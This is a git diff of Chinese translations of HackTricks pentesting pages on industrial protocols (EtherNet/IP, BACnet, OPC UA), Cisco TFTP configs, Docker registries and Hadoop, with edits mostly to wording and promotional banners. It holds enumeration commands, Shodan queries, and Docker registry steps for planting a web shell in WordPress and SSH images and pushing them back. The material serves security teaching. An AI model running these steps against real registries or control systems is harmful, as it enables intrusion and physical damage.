||||
EtherNet/IP是一种常用于**工业自动化控制系统**中的**工业以太网网络协议**。它由Rockwell Automation在上世纪90年代末开发,由ODVA管理。该协议确保**多供应商系统互操作性**,并在**水处理厂**、**制造设施**和**公用事业**等各种应用中使用。要识别EtherNet/IP设备,需要向**TCP/44818**发送一个带有**列表标识消息(0x63)**的查询。
|
||||
EtherNet/IP是一种常用于**工业自动化控制系统**中的**工业以太网网络协议**。它是由Rockwell Automation在上世纪90年代末开发的,并由ODVA管理。该协议确保**多供应商系统互操作性**,并在**水处理厂**、**制造设施**和**公用事业**等各种应用中使用。要识别EtherNet/IP设备,需要向**TCP/44818**发送一个带有**列表标识消息(0x63)**的查询。
|
||||
|
||||
**默认端口:**44818 UDP/TCP
|
||||
**默认端口:** 44818 UDP/TCP
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
44818/tcp open EtherNet/IP
|
||||
|
@ -30,19 +30,19 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
|
|||
```
|
||||
# Shodan
|
||||
|
||||
* `port:44818 "product name"`
|
||||
* `port:44818 "产品名称"`
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,8 +6,8 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -15,7 +15,7 @@
|
|||
|
||||
# 协议信息
|
||||
|
||||
**BACnet**是一种用于建筑自动化和控制(BAC)网络的**通信协议**,利用**ASHRAE**、**ANSI**和**ISO 16484-5标准**协议。它促进了建筑自动化和控制系统之间的通信,使应用程序如HVAC控制、照明控制、门禁控制和火灾检测系统能够交换信息。BACnet确保了互操作性,并允许计算机化的建筑自动化设备进行通信,无论它们提供的具体服务是什么。
|
||||
**BACnet**是一种用于建筑自动化和控制(BAC)网络的**通信协议**,利用**ASHRAE**、**ANSI**和**ISO 16484-5标准**协议。它促进建筑自动化和控制系统之间的通信,实现诸如暖通空调控制、照明控制、门禁控制和火灾检测系统等应用之间的信息交换。BACnet确保互操作性,使计算机化的建筑自动化设备能够通信,无论它们提供的具体服务是什么。
|
||||
|
||||
**默认端口:** 47808
|
||||
```text
|
||||
|
@ -39,9 +39,25 @@ bacnet.vendorName.strValue
|
|||
```bash
|
||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||
```
|
||||
这个脚本并不尝试作为外部设备加入BACnet网络,而是直接向可通过IP地址访问的设备发送BACnet请求。
|
||||
这个脚本并不尝试作为外部设备加入BACnet网络,而是直接向可寻址的IP设备发送BACnet请求。
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:47808 instance`
|
||||
* `"Instance ID" "Vendor Name"`
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
@ -43,19 +43,16 @@ PORT STATE SERVICE
|
|||
|
||||
交换机配置 **10.10.100.10** 将位于 **tftp/** 文件夹中
|
||||
|
||||
\
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (73).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中看到你的 **公司广告**?或者想要访问 **PEASS 的最新版本或下载 HackTricks 的 PDF**?查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord 群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组** 或 **在 Twitter 上关注** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 您在 **网络安全公司** 工作吗? 想要在 **HackTricks 中宣传您的公司**? 或者想要访问 **PEASS 的最新版本或下载 HackTricks 的PDF**? 请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向 [hacktricks repo](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) 提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,24 @@
|
|||
# 4840 - OPC UA渗透测试
|
||||
# 4840 - Pentesting OPC UA
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>从零到英雄学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
OPC UA代表开放平台通信统一访问。它是一个历史悠久的开源协议,用于数据交换、遥测收集和工业设备控制。它在包括制造业、能源、航空航天和国防在内的工业环境中广泛使用。它是与PLC通信的唯一标准化方式,并允许不同供应商的设备相互通信。
|
||||
**OPC UA**,代表**开放平台通信统一访问**,是一个关键的开源协议,用于制造业、能源、航空航天和国防等各行业的数据交换和设备控制。它独特地实现了不同供应商设备之间的通信,特别是与可编程逻辑控制器(PLCs)的通信。
|
||||
|
||||
OPC UA在配置方面非常灵活。它可以配置为极其安全或不安全。很多时候,为了与旧设备通信,安全功能被禁用。因此,测试配置的弱点可能会轻易揭示进入关键系统的入口。
|
||||
|
||||
网络扫描器无法识别OPC UA,因此如果使用非标准端口,发现可能需要一些工作。
|
||||
其配置允许采取强大的安全措施,但通常为了与旧设备兼容,这些措施会减弱,从而使系统面临风险。此外,发现OPC UA服务可能有些棘手,因为网络扫描工具可能无法检测到它们,特别是当它们位于非标准端口上时。
|
||||
|
||||
**默认端口:** 4840
|
||||
```text
|
||||
|
@ -29,17 +27,15 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
## OPC UA 渗透测试
|
||||
|
||||
要发现 OPC UA 服务器中的安全问题,请使用 [OpalOPC](https://opalopc.com/) 进行扫描。
|
||||
要揭示 OPC UA 服务器中的安全问题,请使用[OpalOPC](https://opalopc.com/)进行扫描。
|
||||
```bash
|
||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||
```
|
||||
### 利用漏洞
|
||||
|
||||
**⚠️ 警告 ⚠️**: 如果不清楚自己在做什么,随意操作可能会对人身安全造成严重威胁,并给客户带来经济损失。
|
||||
如果发现身份验证绕过漏洞,您可以相应地配置一个[OPC UA客户端](https://www.prosysopc.com/products/opc-ua-browser/),查看您可以访问的内容。这可能允许您从仅仅读取过程值到实际操作重型工业设备。
|
||||
|
||||
如果发现了认证绕过漏洞,您可以相应地配置 [OPC UA 客户端](https://www.prosysopc.com/products/opc-ua-browser/),看看您能访问什么。这可能允许从仅仅读取过程值到实际操作重型工业设备。
|
||||
|
||||
为了了解您可以访问的设备,阅读地址空间中的 "ServerStatus" 节点值,并搜索使用手册。
|
||||
要了解您可以访问的设备的线索,请阅读地址空间中的“ServerStatus”节点值,并搜索使用手册。
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -47,18 +43,18 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
|
||||
## 参考资料
|
||||
|
||||
* https://opalopc.com/how-to-hack-opc-ua/
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持 HackTricks 的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
一个名为**Docker registry**的存储和分发系统用于存储命名的 Docker 镜像,这些镜像可能有多个版本,通过标签进行区分。这些镜像在注册表中的**Docker repositories**中组织,每个存储库存储特定镜像的各个版本。提供的功能允许用户下载镜像到本地或将其上传到注册表,前提是用户具有必要的权限。
|
||||
一个名为**Docker registry**的存储和分发系统用于存储以及可能有多个版本的 Docker 镜像,这些镜像通过标签进行区分。这些镜像组织在注册表中的**Docker repositories**中,每个存储库存储特定镜像的各种版本。提供的功能允许用户下载镜像到本地或上传到注册表,前提是用户具有必要的权限。
|
||||
|
||||
**DockerHub** 作为 Docker 的默认公共注册表,但用户也可以选择运行开源 Docker 注册表/分发的本地版本,或选择商业支持的**Docker Trusted Registry**。此外,还可以在线找到各种其他公共注册表。
|
||||
|
||||
|
@ -24,7 +24,7 @@
|
|||
```bash
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
这个命令从`my-registry`域名上端口`9000`的本地注册表中获取`foo/bar`镜像版本`2.1`。相反,要从DockerHub下载相同的镜像,特别是如果`2.1`是最新版本,则命令简化为:
|
||||
这个命令从`my-registry`域名上端口`9000`处的本地注册表中获取`foo/bar`镜像版本`2.1`。相反,要从DockerHub下载相同的镜像,特别是如果`2.1`是最新版本,则命令简化为:
|
||||
```bash
|
||||
docker pull foo/bar
|
||||
```
|
||||
|
@ -41,8 +41,8 @@ PORT STATE SERVICE VERSION
|
|||
- 如果访问 `/`,响应中不会返回任何内容
|
||||
- 如果访问 `/v2/`,则会返回 `{}`
|
||||
- 如果访问 `/v2/_catalog`,可能会获得:
|
||||
- `{"repositories":["alpine","ubuntu"]}`
|
||||
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
- `{"repositories":["alpine","ubuntu"]}`
|
||||
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
|
||||
## 枚举
|
||||
|
||||
|
@ -74,9 +74,9 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
|||
```bash
|
||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||
```
|
||||
### 使用DockerRegistryGrabber进行枚举
|
||||
### 使用 DockerRegistryGrabber 进行枚举
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber)是一个用于枚举/转储Docker注册表(无需或使用基本身份验证)的Python工具
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) 是一个用于枚举/转储 Docker 仓库(无需或带有基本身份验证)的 Python 工具。
|
||||
```bash
|
||||
python3 DockerGraber.py http://127.0.0.1 --list
|
||||
|
||||
|
@ -115,7 +115,7 @@ python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
|||
```
|
||||
### 使用curl进行枚举
|
||||
|
||||
一旦您**获得对Docker注册表的访问权限**,以下是一些您可以使用的命令来对其进行枚举:
|
||||
一旦您**获得对Docker注册表的访问权限**,以下是您可以使用的一些命令进行枚举:
|
||||
```bash
|
||||
#List repositories
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
|
@ -203,7 +203,7 @@ docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
|||
```
|
||||
### 在WordPress镜像中植入后门
|
||||
|
||||
在发现一个保存WordPress镜像的Docker Registry的情况下,你可以植入后门。\
|
||||
在发现一个保存WordPress镜像的Docker Registry的情况下,你可以对其进行后门操作。\
|
||||
**创建**后门:
|
||||
|
||||
{% code title="shell.php" %}
|
||||
|
@ -212,7 +212,7 @@ docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
创建一个 **Dockerfile**:
|
||||
创建一个 **Dockerfile**:
|
||||
|
||||
{% code title="Dockerfile" %}
|
||||
```bash
|
||||
|
@ -220,7 +220,9 @@ FROM 10.10.10.10:5000/wordpress
|
|||
COPY shell.php /app/
|
||||
RUN chmod 777 /app/shell.php
|
||||
```
|
||||
**创建**新镜像,**检查**其是否已创建,并**推送**它:
|
||||
{% endcode %}
|
||||
|
||||
**创建**新镜像,**检查**它是否已创建,并**推送**它:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
|
@ -229,7 +231,7 @@ docker push registry:5000/wordpress #Push it
|
|||
```
|
||||
### 在SSH服务器镜像中植入后门
|
||||
|
||||
假设你发现了一个带有SSH镜像的Docker Registry,并且想要在其中植入后门。\
|
||||
假设你发现了一个带有SSH镜像的Docker Registry,并且想要植入后门。\
|
||||
**下载**该镜像并**运行**它:
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
|
@ -262,14 +264,14 @@ docker push registry:5000/sshd-docker-cli #Push it
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,8 +6,8 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -17,7 +17,7 @@
|
|||
|
||||
**Apache Hadoop**是一个用于**计算机集群**中**大型数据集**的**分布式存储和处理**的**开源框架**。它使用**HDFS**进行存储和**MapReduce**进行处理。
|
||||
|
||||
不幸的是,目前Metasploit框架中缺乏对Hadoop的支持。但是,您可以使用以下**Nmap脚本**来枚举Hadoop服务:
|
||||
不幸的是,在文档编写时,Metasploit框架中缺乏对Hadoop的支持。但是,您可以使用以下**Nmap脚本**来枚举Hadoop服务:
|
||||
|
||||
- **`hadoop-jobtracker-info(端口50030)`**
|
||||
- **`hadoop-tasktracker-info(端口50060)`**
|
||||
|
@ -27,3 +27,17 @@
|
|||
|
||||
|
||||
需要注意的是,**Hadoop在默认设置下没有身份验证**。但是,为了增强安全性,可以配置Kerberos与HDFS、YARN和MapReduce服务集成。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,38 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>零基础学习 AWS 黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
